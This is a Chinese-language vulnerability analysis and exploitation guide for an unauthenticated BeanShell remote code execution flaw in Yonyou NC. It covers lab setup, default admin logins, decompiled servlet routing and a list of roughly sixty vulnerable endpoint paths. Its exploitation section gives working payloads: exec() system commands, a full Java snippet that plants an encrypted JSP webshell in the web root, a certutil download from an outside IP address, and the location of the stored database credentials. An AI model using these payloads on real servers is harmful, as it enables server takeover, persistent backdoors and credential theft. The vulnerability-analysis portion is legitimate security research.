0x01 前言
用友NC存在一个对外开放了BeanShell
接口,攻击者可以在未授权的情况下直接访问该接口,并构造恶意数据执行任意代码从而获取服务器权限。
0x02 环境搭建
用友官方支持Oracle
、SQL Server等
数据库,网上的教程大都是用Oracle
数据库,这里本次使用的是SQL Server2012 SP1
SQL Server 2012环境配置
新建数据库
添加文件组
点击左边的文件组,添加行
nnc_data01
nnc_data02
nnc_data03
nnc_index01
nnc_index02
nnc_index03
点击确定,回到数据库,右键nc65
数据库-属性
属性页左侧栏文件-添加对应逻辑文件,并修改其对应的文件组
NC6.5安装与配置
解压
解压安装包附件,如果出现解压数据格式错误则安装文件有问题,请重新下载
安装包目录结构
nc_uap 客户化
nc_portal 企业门户
nc_pd 工程基础数据
nc_fi 财务会计
nc_tpb 全面计划预算
nc_co_cm 管理会计
nc_tm 资金管理
nc_scm 供应链管理
nc_qc 质量管理
nc_am 资产管理
nc_mm 生产制造
nc_hr 人力资源
nc_hr_pd 人力资源预制
nc_iufo 网络报表含合并报表
nc_xbrl 集团报表XBRL
安装
双击setup.bat
会进入GUI
安装界面。
进入安装向导,选择安装模块进行安装
必须安装的基本领域/模块:UAP Server、智能客户端应用平台
NCHome目录路径中不能包含中文、空格或特殊字符
安装完成后,勾选继续选择应用服务器启动系统配置工具,也可以关闭后在home/bin
中双击中双击SysConfig.bat
启动
服务器配置
服务器类型选择UAP SERVER。点击服务器信息-读取,会读取默认配置,填写IP地址与端口。
进入数据源页签-读取-添加,在标准模式中将服务器需要填的信息填上(数据库名,账户,密码),填不了的点击确定后会自动补齐。填写完毕后,点击测试,如果通过则表示NC
能够与数据库连通,保存即可。
读取文件服务器配置,按个人喜好修改磁盘位置即可
最后点击部署EJB
,等待部署完成。
启动服务
在NC
安装目录下的home
目录下找到startServer.bat
,使用命令行进行启动。
启动成功
退出时会说文件服务器没有配置,不用管,直接退出。
1. 启动中间件:$home$/startup.bat
2. 浏览器访问:http://127.0.0.1:[端口]/admin.jsp
3. 管理员登录:root/空 或 super/空
0x03 漏洞分析
漏洞披露的触发点URL
/servlet/~ic/bsh.servlet.BshServlet
查看web.xml
其对应的servlet-name
为NCInvokerServlet
类
通过寻找发现其对应NCInvokerServlet
类在/yonyou/home/lib/fwserver.jar
包内
导出所有jar
包,将所有jar
包后缀改为.zip
使用fernflower.jar
进行批量反编译
mkdir code
java -jar fernflower.jar jar/*.zip jar/code/
InvokerServlet类
对应类位置fwserver/nc/bs/framework/server/InvokerServlet.java
该类中所有的get
和post
操作都被doAction
函数进行处理
跟进到doAction
函数,主要作用获取modulName
和serviceName
首先判断传入的URI
中是否以/~
开头,并进入到该分支进行处理
经过分支进行处理后,moduleName=ic
,serviceName=bsh.servlet.BshServlet
,然后调用getServiceObject
方法进行处理
跟进getServiceObject
方法,主要是根据moduleName
和serviceName
去查找服务。
继续向下走,通过反射调用retObject
的doAction
方法进行执行服务。
bsh.servlet.BshServlet类
ic
是用友nc
中的一个module
模块,文件位置位于\yonyou\home\modules\ic
bsh.servlet.BshServlet
位于\yonyou\home\lib\bsh-2.0b1.jar
包中,也是我们前面反编译的文件bsh-2.0b1/bsh/servlet/BshServlet.java
通过bsh.script
接收输入的内容,判断输入内容是否为空,如果不为空则调用evalScript
方法
跟进到evalScript
方法,发现最后调用的是var8
的eval
方法处理了var1
的内容。var1
是我们传入的var3
也就是我们输入的内容
Tips
在整个过程中可以发现只要存在moduleName
就可以调用想要的服务,只要访问存在的模块名,也可以调用bsh.servlet.BshServlet
从而进行执行命令。
例如访问一个不存在的module
模块名
/servlet/~test/bsh.servlet.BshServlet
访问其他存在的模块名,模块位置位于\yonyou\home\modules\
/servlet/~aeam/bsh.servlet.BshServlet
/service/~aim/bsh.servlet.BshServlet
/service/~alm/bsh.servlet.BshServlet
/service/~ampub/bsh.servlet.BshServlet
/service/~arap/bsh.servlet.BshServlet
/service/~aum/bsh.servlet.BshServlet
/service/~cc/bsh.servlet.BshServlet
/service/~cdm/bsh.servlet.BshServlet
/service/~cmp/bsh.servlet.BshServlet
/service/~ct/bsh.servlet.BshServlet
/service/~dm/bsh.servlet.BshServlet
/service/~erm/bsh.servlet.BshServlet
/service/~fa/bsh.servlet.BshServlet
/service/~fac/bsh.servlet.BshServlet
/service/~fbm/bsh.servlet.BshServlet
/service/~ff/bsh.servlet.BshServlet
/service/~fip/bsh.servlet.BshServlet
/service/~fipub/bsh.servlet.BshServlet
/service/~fp/bsh.servlet.BshServlet
/service/~fts/bsh.servlet.BshServlet
/service/~fvm/bsh.servlet.BshServlet
/service/~gl/bsh.servlet.BshServlet
/service/~hrhi/bsh.servlet.BshServlet
/service/~hrjf/bsh.servlet.BshServlet
/service/~hrpd/bsh.servlet.BshServlet
/service/~hrpub/bsh.servlet.BshServlet
/service/~hrtrn/bsh.servlet.BshServlet
/service/~hrwa/bsh.servlet.BshServlet
/service/~ia/bsh.servlet.BshServlet
/service/~ic/bsh.servlet.BshServlet
/service/~iufo/bsh.servlet.BshServlet
/service/~modules/bsh.servlet.BshServlet
/service/~mpp/bsh.servlet.BshServlet
/service/~obm/bsh.servlet.BshServlet
/service/~pu/bsh.servlet.BshServlet
/service/~qc/bsh.servlet.BshServlet
/service/~sc/bsh.servlet.BshServlet
/service/~scmpub/bsh.servlet.BshServlet
/service/~so/bsh.servlet.BshServlet
/service/~so2/bsh.servlet.BshServlet
/service/~so3/bsh.servlet.BshServlet
/service/~so4/bsh.servlet.BshServlet
/service/~so5/bsh.servlet.BshServlet
/service/~so6/bsh.servlet.BshServlet
/service/~tam/bsh.servlet.BshServlet
/service/~tbb/bsh.servlet.BshServlet
/service/~to/bsh.servlet.BshServlet
/service/~uap/bsh.servlet.BshServlet
/service/~uapbd/bsh.servlet.BshServlet
/service/~uapde/bsh.servlet.BshServlet
/service/~uapeai/bsh.servlet.BshServlet
/service/~uapother/bsh.servlet.BshServlet
/service/~uapqe/bsh.servlet.BshServlet
/service/~uapweb/bsh.servlet.BshServlet
/service/~uapws/bsh.servlet.BshServlet
/service/~vrm/bsh.servlet.BshServlet
/service/~yer/bsh.servlet.BshServlet
0x04 漏洞利用
命令执行
exec("ipconfig /all");
exec("whoami");
写文件
beanshell
完全符合Java
语法规范,那可以通过写一个java
脚本来写入文件
先用dir
命令了解当前安装的位置,然后再构造java
脚本
dir();
dir("./webapps/nc_web");
注意beanshell
输入框不能有回车的,shell
中的引号需转义
import java.io.*;String filePath = "./webapps/nc_web/shell.jsp"; String conent ="<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";BufferedWriter out = null;try {File file = new File(filePath);File fileParent = file.getParentFile();if (!fileParent.exists()) {fileParent.mkdirs();}file.createNewFile();out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true)));out.write(conent);}catch(Exception e) {e.printStackTrace();} finally {try {out.close();} catch (IOException e) {e.printStackTrace();}}
远程下载
当然还用更简单的步骤,直接利用windows
的certutil
工具远程直接下载,当然还得看能不能出网
exec("certutil -urlcache -split -f http://101.35.17.6:8088/test.txt ./webapps/nc_web/test.txt")
解密数据库
NC
数据库密码位置在/yonyou/home/ierp/bin/prop.xml
可以看到这里数据库的账户信息都在,但是密码被加密了
<databaseUrl>jdbc:sqlserver://127.0.0.1:1433;database=nc65;sendStringParametersAsUnicode=true;responseBuffering=adaptive</databaseUrl>
<user>sa</user>
<password>fhkjjjimdphmoecm</password>